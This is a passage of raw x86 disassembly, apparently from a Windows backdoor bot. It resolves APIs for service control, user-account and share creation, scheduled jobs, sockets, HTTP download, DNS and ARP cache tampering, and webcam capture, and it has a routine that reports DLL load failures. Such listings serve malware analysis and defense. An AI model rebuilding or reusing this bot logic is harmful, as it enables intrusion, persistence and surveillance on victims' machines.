		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_4270BC
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_4D11D4, eax
		call	esi ; dword_4270BC
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_4D11AC, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D11D4, ebx
		mov	ds:dword_4D125C, eax
		jz	short loc_409DBA
		cmp	ds:dword_4D11AC, ebx
		jz	short loc_409DBA
		cmp	eax, ebx
		jnz	short loc_409DC4


loc_409DBA:				; CODE XREF: sub_409A6D+33Fj
					; sub_409A6D+347j
		mov	ds:dword_4D12C0, 1


loc_409DC4:				; CODE XREF: sub_409A6D+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_4D11E4, eax
		call	esi ; dword_4270BC
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_4D10CC, eax
		call	esi ; dword_4270BC
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_4D10D4, eax
		call	esi ; dword_4270BC
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_4D1138, eax
		call	esi ; dword_4270BC
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_4D113C, eax
		call	esi ; dword_4270BC
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_4D10E8, eax
		call	esi ; dword_4270BC
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_4D11B0, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D11E4, ebx
		mov	ds:dword_4D10D8, eax
		jz	short loc_409E68
		cmp	ds:dword_4D10CC, ebx
		jz	short loc_409E68
		cmp	ds:dword_4D10D4, ebx
		jz	short loc_409E68
		cmp	ds:dword_4D1138, ebx
		jz	short loc_409E68
		cmp	ds:dword_4D113C, ebx
		jz	short loc_409E68
		cmp	ds:dword_4D10E8, ebx
		jz	short loc_409E68
		cmp	ds:dword_4D11B0, ebx
		jz	short loc_409E68
		cmp	eax, ebx
		jnz	short loc_409E72


loc_409E68:				; CODE XREF: sub_409A6D+3C5j
					; sub_409A6D+3CDj ...
		mov	ds:dword_4D12C0, 1


loc_409E72:				; CODE XREF: sub_409A6D+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_4270BC
		cmp	eax, ebx
		mov	ds:dword_4D10D0, eax
		jnz	short loc_409E9A
		jmp	short loc_409E90
; ---------------------------------------------------------------------------


loc_409E85:				; CODE XREF: sub_409A6D+26Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12C4, eax


loc_409E90:				; CODE XREF: sub_409A6D+416j
		mov	ds:dword_4D12C0, 1


loc_409E9A:				; CODE XREF: sub_409A6D+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_42709C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F66
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_4D11DC, eax
		call	esi ; dword_4270BC
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_4D1234, eax
		call	esi ; dword_4270BC
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_4D123C, eax
		call	esi ; dword_4270BC
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_4D11F8, eax
		call	esi ; dword_4270BC
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_4D1114, eax
		call	esi ; dword_4270BC
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_4D10C0, eax
		call	esi ; dword_4270BC
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_4D1238, eax
		call	esi ; dword_4270BC
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_4D10AC, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D11DC, ebx
		mov	ds:dword_4D114C, eax
		jz	short loc_409F71
		cmp	ds:dword_4D1234, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D123C, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D11F8, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D1114, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D10C0, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D1238, ebx
		jz	short loc_409F71
		cmp	ds:dword_4D10AC, ebx
		jz	short loc_409F71
		cmp	eax, ebx
		jnz	short loc_409F7B
		jmp	short loc_409F71
; ---------------------------------------------------------------------------


loc_409F66:				; CODE XREF: sub_409A6D+438j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12CC, eax


loc_409F71:				; CODE XREF: sub_409A6D+4B9j
					; sub_409A6D+4C1j ...
		mov	ds:dword_4D12C8, 1


loc_409F7B:				; CODE XREF: sub_409A6D+4F5j
		mov	ebp, ds:dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A237
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_4270BC
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_4D1160, eax
		call	esi ; dword_4270BC
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_4D1294, eax
		call	esi ; dword_4270BC
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_4D1100, eax
		call	esi ; dword_4270BC
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_4D10DC, eax
		call	esi ; dword_4270BC
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_4D119C, eax
		call	esi ; dword_4270BC
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_4D1184, eax
		call	esi ; dword_4270BC
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_4D1148, eax
		call	esi ; dword_4270BC
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_4D1270, eax
		call	esi ; dword_4270BC
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_4D128C, eax
		call	esi ; dword_4270BC
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_4D1198, eax
		call	esi ; dword_4270BC
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_4D127C, eax
		call	esi ; dword_4270BC
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_4D1230, eax
		call	esi ; dword_4270BC
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_4D11F0, eax
		call	esi ; dword_4270BC
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_4D11EC, eax
		call	esi ; dword_4270BC
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_4D1120, eax
		call	esi ; dword_4270BC
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_4D1118, eax
		call	esi ; dword_4270BC
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_4D1240, eax
		call	esi ; dword_4270BC
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_4D1254, eax
		call	esi ; dword_4270BC
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_4D1208, eax
		call	esi ; dword_4270BC
		mov	ds:dword_4D11C8, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_4270BC
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_4D121C, eax
		call	esi ; dword_4270BC
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_4D11D8, eax
		call	esi ; dword_4270BC
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_4D1218, eax
		call	esi ; dword_4270BC
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_4D1284, eax
		call	esi ; dword_4270BC
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_4D11D0, eax
		call	esi ; dword_4270BC
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_4D1194, eax
		call	esi ; dword_4270BC
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_4D1204, eax
		call	esi ; dword_4270BC
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_4D1274, eax
		call	esi ; dword_4270BC
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_4D11A8, eax
		call	esi ; dword_4270BC
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_4D1144, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D1160, ebx
		mov	ds:dword_4D1288, eax
		jz	loc_40A242
		cmp	ds:dword_4D1294, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1100, ebx
		jz	loc_40A242
		cmp	ds:dword_4D119C, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1184, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1148, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1270, ebx
		jz	loc_40A242
		cmp	ds:dword_4D128C, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1198, ebx
		jz	loc_40A242
		cmp	ds:dword_4D127C, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1230, ebx
		jz	loc_40A242
		cmp	ds:dword_4D11F0, ebx
		jz	loc_40A242
		cmp	ds:dword_4D11EC, ebx
		jz	loc_40A242
		cmp	ds:dword_4D1120, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1240, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1254, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1208, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D11C8, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D121C, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D11D8, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1218, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1284, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D11D0, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1194, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1204, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D1274, ebx
		jz	short loc_40A242
		cmp	ds:dword_4D11A8, ebx
		jz	short loc_40A242
		cmp	eax, ebx
		jnz	short loc_40A24C
		jmp	short loc_40A242
; ---------------------------------------------------------------------------


loc_40A237:				; CODE XREF: sub_409A6D+51Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12D4, eax


loc_40A242:				; CODE XREF: sub_409A6D+6BEj
					; sub_409A6D+6CAj ...
		mov	ds:dword_4D12D0, 1


loc_40A24C:				; CODE XREF: sub_409A6D+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A351
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; dword_4270BC
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_4D112C, eax
		call	esi ; dword_4270BC
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_4D10B4, eax
		call	esi ; dword_4270BC
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_4D11B8, eax
		call	esi ; dword_4270BC
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_4D1164, eax
		call	esi ; dword_4270BC
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_4D11C4, eax
		call	esi ; dword_4270BC
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_4D1188, eax
		call	esi ; dword_4270BC
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_4D10F4, eax
		call	esi ; dword_4270BC
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_4D10EC, eax
		call	esi ; dword_4270BC
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_4D10FC, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D112C, ebx
		mov	ecx, ds:dword_4D1188
		mov	ds:dword_4D1224, eax
		jz	short loc_40A32D
		cmp	ds:dword_4D10B4, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D11B8, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D1164, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D11C4, ebx
		jz	short loc_40A32D
		cmp	ecx, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D10F4, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D10EC, ebx
		jz	short loc_40A32D
		cmp	ds:dword_4D10FC, ebx
		jz	short loc_40A32D
		cmp	eax, ebx
		jnz	short loc_40A337


loc_40A32D:				; CODE XREF: sub_409A6D+87Ej
					; sub_409A6D+886j ...
		mov	ds:dword_4D12D8, 1


loc_40A337:				; CODE XREF: sub_409A6D+8BEj
		cmp	ecx, ebx
		jz	short loc_40A36C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx ; dword_4D1188
		cmp	eax, ebx
		mov	ds:dword_4D11A0, eax
		jnz	short loc_40A36C
		jmp	short loc_40A366
; ---------------------------------------------------------------------------


loc_40A351:				; CODE XREF: sub_409A6D+7EAj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12DC, eax
		mov	ds:dword_4D12D8, 1


loc_40A366:				; CODE XREF: sub_409A6D+8E2j
		mov	ds:dword_4D11A0, ebx


loc_40A36C:				; CODE XREF: sub_409A6D+8CCj
					; sub_409A6D+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B6
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; dword_4270BC
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_4D1178, eax
		call	esi ; dword_4270BC
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_4D12A8, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D1178, ebx
		mov	ds:dword_4D1108, eax
		jz	short loc_40A3C1
		cmp	ds:dword_4D12A8, ebx
		jz	short loc_40A3C1
		cmp	eax, ebx
		jnz	short loc_40A3CB
		jmp	short loc_40A3C1
; ---------------------------------------------------------------------------


loc_40A3B6:				; CODE XREF: sub_409A6D+90Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12E4, eax


loc_40A3C1:				; CODE XREF: sub_409A6D+939j
					; sub_409A6D+941j ...
		mov	ds:dword_4D12E0, 1


loc_40A3CB:				; CODE XREF: sub_409A6D+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A4D2
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; dword_4270BC
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_4D10E4, eax
		call	esi ; dword_4270BC
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_4D10BC, eax
		call	esi ; dword_4270BC
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_4D1134, eax
		call	esi ; dword_4270BC
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_4D1168, eax
		call	esi ; dword_4270BC
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_4D1280, eax
		call	esi ; dword_4270BC
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_4D111C, eax
		call	esi ; dword_4270BC
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_4D10C8, eax
		call	esi ; dword_4270BC
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_4D10B8, eax
		call	esi ; dword_4270BC
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_4D1150, eax
		call	esi ; dword_4270BC
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_4D1248, eax
		call	esi ; dword_4270BC
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	ds:dword_4D1200, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D10E4, ebx
		mov	ds:dword_4D1124, eax
		jz	short loc_40A4DD
		cmp	ds:dword_4D10BC, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1134, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1168, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1280, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D111C, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D10C8, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D10B8, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1150, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1248, ebx
		jz	short loc_40A4DD
		cmp	ds:dword_4D1200, ebx
		jnz	short loc_40A4E7
		jmp	short loc_40A4DD
; ---------------------------------------------------------------------------


loc_40A4D2:				; CODE XREF: sub_409A6D+969j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12EC, eax


loc_40A4DD:				; CODE XREF: sub_409A6D+A11j
					; sub_409A6D+A19j ...
		mov	ds:dword_4D12E8, 1


loc_40A4E7:				; CODE XREF: sub_409A6D+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A51C
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; dword_4270BC
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_4D110C, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D110C, ebx
		mov	ds:dword_4D11E8, eax
		jz	short loc_40A527
		cmp	eax, ebx
		jnz	short loc_40A531
		jmp	short loc_40A527
; ---------------------------------------------------------------------------


loc_40A51C:				; CODE XREF: sub_409A6D+A85j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12F4, eax


loc_40A527:				; CODE XREF: sub_409A6D+AA7j
					; sub_409A6D+AADj
		mov	ds:dword_4D12F0, 1


loc_40A531:				; CODE XREF: sub_409A6D+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A566
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; dword_4270BC
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_4D126C, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D126C, ebx
		mov	ds:dword_4D1268, eax
		jz	short loc_40A571
		cmp	eax, ebx
		jnz	short loc_40A57B
		jmp	short loc_40A571
; ---------------------------------------------------------------------------


loc_40A566:				; CODE XREF: sub_409A6D+ACFj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D12FC, eax


loc_40A571:				; CODE XREF: sub_409A6D+AF1j
					; sub_409A6D+AF7j
		mov	ds:dword_4D12F8, 1


loc_40A57B:				; CODE XREF: sub_409A6D+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5DA
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; dword_4270BC
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_4D1298, eax
		call	esi ; dword_4270BC
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_4D1290, eax
		call	esi ; dword_4270BC
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_4D1258, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D1298, ebx
		mov	ds:dword_4D1128, eax
		jz	short loc_40A5E5
		cmp	ds:dword_4D1290, ebx
		jz	short loc_40A5E5
		cmp	ds:dword_4D1258, ebx
		jz	short loc_40A5E5
		cmp	eax, ebx
		jnz	short loc_40A5EF
		jmp	short loc_40A5E5
; ---------------------------------------------------------------------------


loc_40A5DA:				; CODE XREF: sub_409A6D+B19j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D1304, eax


loc_40A5E5:				; CODE XREF: sub_409A6D+B55j
					; sub_409A6D+B5Dj ...
		mov	ds:dword_4D1300, 1


loc_40A5EF:				; CODE XREF: sub_409A6D+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A624
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_4D115C, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D115C, ebx
		mov	ds:dword_4D1264, eax
		jz	short loc_40A62F
		cmp	eax, ebx
		jnz	short loc_40A639
		jmp	short loc_40A62F
; ---------------------------------------------------------------------------


loc_40A624:				; CODE XREF: sub_409A6D+B8Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D130C, eax


loc_40A62F:				; CODE XREF: sub_409A6D+BAFj
					; sub_409A6D+BB5j
		mov	ds:dword_4D1308, 1


loc_40A639:				; CODE XREF: sub_409A6D+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C2
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; dword_4270BC
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_4D122C, eax
		call	esi ; dword_4270BC
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_4D1278, eax
		call	esi ; dword_4270BC
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_4D11B4, eax
		call	esi ; dword_4270BC
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_4D116C, eax
		call	esi ; dword_4270BC
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_4D120C, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D122C, ebx
		mov	ds:dword_4D117C, eax
		jz	short loc_40A6CD
		cmp	ds:dword_4D1278, ebx
		jz	short loc_40A6CD
		cmp	ds:dword_4D11B4, ebx
		jz	short loc_40A6CD
		cmp	ds:dword_4D116C, ebx
		jz	short loc_40A6CD
		cmp	ds:dword_4D120C, ebx
		jz	short loc_40A6CD
		cmp	eax, ebx
		jnz	short loc_40A6D7
		jmp	short loc_40A6CD
; ---------------------------------------------------------------------------


loc_40A6C2:				; CODE XREF: sub_409A6D+BD7j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D1314, eax


loc_40A6CD:				; CODE XREF: sub_409A6D+C2Dj
					; sub_409A6D+C35j ...
		mov	ds:dword_4D1310, 1


loc_40A6D7:				; CODE XREF: sub_409A6D+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; dword_4270B8
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A70C
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; dword_4270BC
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_4D1140, eax
		call	esi ; dword_4270BC
		cmp	ds:dword_4D1140, ebx
		mov	ds:dword_4D1220, eax
		jz	short loc_40A717
		cmp	eax, ebx
		jnz	short loc_40A721
		jmp	short loc_40A717
; ---------------------------------------------------------------------------


loc_40A70C:				; CODE XREF: sub_409A6D+C75j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	ds:dword_4D131C, eax


loc_40A717:				; CODE XREF: sub_409A6D+C97j
					; sub_409A6D+C9Dj
		mov	ds:dword_4D1318, 1


loc_40A721:				; CODE XREF: sub_409A6D+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A729	proc near		; CODE XREF: seg000:00403FFEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_4D12B0, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A771
		push	ds:dword_4D12B4
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A771:				; CODE XREF: sub_40A729+1Aj
		cmp	ds:dword_4D12B8, esi
		jz	short loc_40A7A5
		push	ds:dword_4D12BC
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A7A5:				; CODE XREF: sub_40A729+4Ej
		cmp	ds:dword_4D12C0, esi
		jz	short loc_40A7D9
		push	ds:dword_4D12C4
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A7D9:				; CODE XREF: sub_40A729+82j
		cmp	ds:dword_4D12C8, esi
		jz	short loc_40A80D
		push	ds:dword_4D12CC
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A80D:				; CODE XREF: sub_40A729+B6j
		cmp	ds:dword_4D12D0, esi
		jz	short loc_40A841
		push	ds:dword_4D12D4
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A841:				; CODE XREF: sub_40A729+EAj
		cmp	ds:dword_4D12D8, esi
		jz	short loc_40A875
		push	ds:dword_4D12DC
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A875:				; CODE XREF: sub_40A729+11Ej
		cmp	ds:dword_4D12E0, esi
		jz	short loc_40A8A9
		push	ds:dword_4D12E4
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A8A9:				; CODE XREF: sub_40A729+152j
		cmp	ds:dword_4D12E8, esi
		jz	short loc_40A8DD
		push	ds:dword_4D12EC
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A8DD:				; CODE XREF: sub_40A729+186j
		cmp	ds:dword_4D12F0, esi
		jz	short loc_40A911
		push	ds:dword_4D12F4
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h


loc_40A911:				; CODE XREF: sub_40A729+1BAj
